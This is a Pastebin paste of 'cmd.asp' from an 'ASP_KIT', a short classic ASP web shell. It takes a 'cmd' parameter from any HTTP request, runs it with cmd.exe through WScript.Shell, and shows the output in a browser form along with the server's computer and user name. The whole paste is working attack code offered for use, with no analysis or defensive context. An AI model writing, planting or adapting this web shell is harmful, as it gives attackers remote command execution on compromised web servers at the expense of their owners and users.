Guest User

Untitled

a guest
May 24th, 2016
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. <!--
  2.  
  3. ASP_KIT
  4.  
  5. cmd.asp = Command Execution
  6.  
  7. by: Maceo
  8. modified: 25/06/2003
  9.  
  10. -->
  11.  
  12. <%
  13. Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  14. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  15. Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  16.  
  17. szCMD = request("cmd")
  18.  
  19. If (szCMD <> "") Then
  20. szTempFile = "C:\" & oFileSys.GetTempName( )
  21. Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  22. Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  23. End If
  24. %>
  25.  
  26. <HTML>
  27. <BODY>
  28. <FORM action="" method="GET">
  29. <input type="text" name="cmd" size=45 value="<%= szCMD %>">
  30. <input type="submit" value="Run">
  31. </FORM>
  32. <PRE>
  33. <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
  34. <br>
  35. <%
  36. If (IsObject(oFile)) Then
  37. On Error Resume Next
  38. Response.Write Server.HTMLEncode(oFile.ReadAll)
  39. oFile.Close
  40. Call oFileSys.DeleteFile(szTempFile, True)
  41. End If
  42. %>
  43. </BODY>
  44. </HTML>
Add Comment
Please, Sign In to add comment